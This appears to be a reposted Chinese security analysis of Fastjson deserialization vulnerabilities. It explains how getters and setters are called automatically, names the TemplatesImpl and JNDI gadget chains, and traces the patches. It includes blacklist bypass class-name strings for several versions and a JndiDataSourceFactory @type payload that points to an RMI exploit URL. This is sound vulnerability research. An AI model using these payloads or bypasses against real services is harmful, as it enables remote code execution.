内容简介:fastjson是一个由alibaba开源的高性能且功能非常完善的JSON库,解决JSON数据处理的业务问题。应用范围非常广,是国内外流行的反序列化依赖库。截止20181126,Fastjson最新版本是1.2.51。使用老版本的Fastjson可能存在高危安全问题。官方已在1.2.25版本中推出白名单+黑名单两种方式的防御,默认使用白名单,截至目前来说白名单已做到绝对安全。但为了兼容老版本应用,仍然保留了首先先了解FastJson正常反序列化的特点。FastJson是自己实现了一套反序列化的机制,并没有
0x00 前言
fastjson是一个由alibaba开源的高性能且功能非常完善的JSON库,解决JSON数据处理的业务问题。应用范围非常广,是国内外流行的反序列化依赖库。截止20181126,Fastjson最新版本是1.2.51。使用老版本的Fastjson可能存在高危安全问题。官方已在1.2.25版本中推出白名单+黑名单两种方式的防御,默认使用白名单,截至目前来说白名单已做到绝对安全。但为了兼容老版本应用,仍然保留了 AutoType 开关,fastjson在新版本中内置了多重防护,但是还是可能会存在一定风险。 所以在开发中应严格控制 AutoType 开关,保持fastjson为最新版本。
0x01 背景知识
简介
首先先了解FastJson正常反序列化的特点。FastJson是自己实现了一套反序列化的机制,并没有使用默认的 readObject() ,在序列化反序列化的时候会进行一些操作,主要是 setter 和 getter 的操作,从而结合一些类的特性造成命令执行。
先创建一个实体类User:
package fastjsontest;
import com.alibaba.fastjson.JSON;
import java.util.Properties;
public class User {
public String name;
private int age;
private Boolean sex;
private Properties prop;
public User(){
System.out.println("User() is called");
}
public void setAge(int age){
System.out.println("setAge() is called");
this.age = age;
}
public Boolean getSex(){
System.out.println("getGrade() is called");
return this.sex;
}
public Properties getProp(){
System.out.println("getProp() is called");
return this.prop;
}
public String toString(){
String s = "[User Object] name=" + this.name + ", age=" + this.age + ", prop=" + this.prop + ", sex=" + this.sex;
return s;
}
public static void main(String[] args){
String jsonstr = "{\"@type\":\"fastjsontest.User\", \"name\":\"Tom\", \"age\": 13, \"prop\": {}, \"sex\": 1}";
Object obj = JSON.parseObject(jsonstr, User.class);
System.out.println(obj);
}
}
其中包括:
- public元素name
- private元素age和它的setter函数
- private元素sex和它的getter函数
- private元素prop和它的getter函数
运行结果
User() is called setAge() is called getProp() is called [User Object] name=Tom, age=13, prop=null, sex=null Process finished with exit code 0
根据结果可以看出:
- User 对象的无参构造函数被调用
- public String name 被成功的反序列化
- private int age 被成功的反序列化, setter 函数被调用
- private Boolean sex 没有被反序列化,getter 函数也没有被调用
- private Properties prop没有被反序列化, getter 函数被调用
漏洞正是出现在这些 getter 和 setter 的自动调用中
重点关注后两条, sex 和 prop 都为 private 变量, prop 的 getter 被调用, sex 的没有。这里就涉及FastJson的一个特性,也是下面一个POC构造的关键。
根据FastJson源码发现,FastJson会对满足下列要求的 getter 进行调用
- 只有
getter没有setter - 函数名称大于等于4
- 非静态函数
- 函数名称以get起始,且第四个字符为大写字母
- 函数没有入参
- 继承自Collection || Map || AtomicBoolean || AtomicInteger || AtomicLong
Properties 继承于 Hashtable , Hashtable 又继承于 Map ,满足所有条件,因此可被调用。
这时候假如 public Properties getProp() 中用户可输入参数构造存在危险操作的调用链,便可触发任意命令执行漏洞
反序列化私有变量
反序列化的时候私有变量 sex 因为没有 setter 没有被反序列化,如果想要也反序列化怎么办,FastJson提供参数设定 Feature.SupportNonPublicField
测试代码改为:
public static void main(String[] args){
String jsonstr = "{\"@type\":\"fastjsontest.User\", \"name\":\"Tom\", \"age\": 13, \"prop\": {}, \"sex\": 1}";
Object obj = JSON.parseObject(jsonstr, User.class, Feature.SupportNonPublicField);
System.out.println(obj);
}
便可将私有变量进行反序列化。
关于指定反序列化类的类型
可以看到,测试代码在反序列化的时候指定了 User.class 类型,正常可控的反序列化的点是不会指定符合我们构造POC要求的类型的,那么不指定类型,或者指定其他类型能不能调用想要的方法呢?
不指定类型:
public static void main(String[] args){
String jsonstr = "{\"@type\":\"fastjsontest.User\", \"name\":\"Tom\", \"age\": 13, \"prop\": {}, \"sex\": 1}";
Object obj = JSON.parseObject(jsonstr, Feature.SupportNonPublicField);
System.out.println(obj);
}
Output:
虽然没指定类型,但是也成功调用了相关的方法。
指定其他类型:
String 和 Integer 等常见类型发现可以成功调用相关方法
public static void main(String[] args){
String jsonstr = "{\"@type\":\"fastjsontest.User\", \"name\":\"Tom\", \"age\": 13, \"prop\": {}, \"sex\": 1}";
Object obj = JSON.parseObject(jsonstr, Integer.class, Feature.SupportNonPublicField);
System.out.println(obj);
}
但是指定的一些其他类型时不能成功调用,如 Runtime
public static void main(String[] args){
String jsonstr = "{\"@type\":\"fastjsontest.User\", \"name\":\"Tom\", \"age\": 13, \"prop\": {}, \"sex\": 1}";
Object obj = JSON.parseObject(jsonstr, Runtime.class, Feature.SupportNonPublicField);
System.out.println(obj);
}
这是因为FastJson内部封装了一部分常用类的类型,是列表里面的会直接进行反序列化,不会进行对比,反序列化完成后会直接进行强制类型转换。
这部分显得有点麻烦,开发在写代码的时候很多时候也不会用 parseObject ,而是 parse 一把梭, parse 相对于 parseObject 便会自动处理这些东西。
0x02 漏洞利用
官方于2017年3月5号发出安全公告,4月29号流露出相关POC,其中利用 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 类,看 TemplatesImpl 类的 _outputProperties 变量和 getOutputProperties() 函数,完全满足前面说的自动调用的条件。
然后 getOutputProperties() 的后续可以通过类定义的方式执行任意代码,详情请见 defineClass在 java 反序列化当中的利用
POC构造文章请参考
可能会发出的疑问:
-
_outputProperties为什么会和getOutputProperties()相关联? - 为什么需要对
_bytecodes进行Base64编码?
FastJson 反序列化漏洞利用的三个细节 - TemplatesImpl 利用链
- 为什么给
_tfactory赋值?第一篇文章有讲 - 为什么给
_name赋值?
后面的过程会判断 _name 是否有值。
其他POC
2017看雪安全开发峰会上有人提出基于 JNDI 构造POC利用:
基于JdbcRowSetImpl的Fastjson RCE PoC构造与分析
该POC利用的是 setter 函数,上面的测试代码可以看出,所有的 setter 函数被调用,所以 基于 JNDI 的利用相对于前者基本没有任何局限,直接 JSON.parse(input) 便可造成漏洞
造成命令执行:
0x03 补丁&绕过
V1.2.25-加入白名单和黑名单
默认开启白名单,白名单关闭时黑名单才生效,后面所有的绕过都是针对于白名单关闭的情况下
v1.2.25绕过(当时版本v1.2.41)
方式:
Lcom.sun.rowset.RowSetImpl;
原因:
loadClass 递归去除开头的 L 和结尾的 ; ,并且是在黑名单检测之后。
V1.2.42补丁
修复补丁绕过,去除开头的 L 和结尾的 ; ,无用补丁,再次被绕过
黑名单改为hash模式
可通过爬取Maven仓库下所有类,然后正向匹配输出真正的黑名单类。
V1.2.42绕过
方式:
LLcom.sun.rowset.RowSetImpl;;
原因:
V1.2.42补丁不生效
v1.2.43补丁
出现 LL 开头 ;; 结尾抛出异常然后去除开头的 L 和结尾的 ;
补丁生效
v1.2.25绕过(当时版本v1.2.43)
方式:
[com.sun.rowset.RowSetImpl
和 Lcom.sun.rowset.RowSetImpl; 其实是一样的,看前面 loadClass 的代码,不止处理了 Lxxxx; 格式数据,还处理的 [ 开头的数据。当时为什么没有一并修复了,这个POC本人测试时不成功的,因为后面的操作会报错,猜测可能当时也是发现不能利用就没修。
v1.2.44补丁
比较暴力,出现相关字符直接抛出异常。
v1.2.25绕过(当时版本v1.2.45)
POC:
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}
原因:
黑名单被绕过
v1.2.46补丁
扩大很名单
0x04 往后的安全风险
一直在扩大黑名单,在更多的三方依赖引入的过程中,肯定还会存在被绕过的风险。
可能被绕过的方式:
- 挖掘出新的利用方式-JDK中新的利用类
- 扩展依赖-新的三方依赖
- 应用代码-针对某个应用,开发写出可被利用的代码
- 其他漏洞-安全研究者基本上只关注了远程命令执行,结合反序列化也可能造成其他危险的操作,比如直接操纵数据库。
著作权归作者所有。
商业转载请联系作者获得授权,非商业转载请注明出处。
作者:p0
链接:https://p0sec.net/index.php/archives/123/
来源:https://p0sec.net/
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。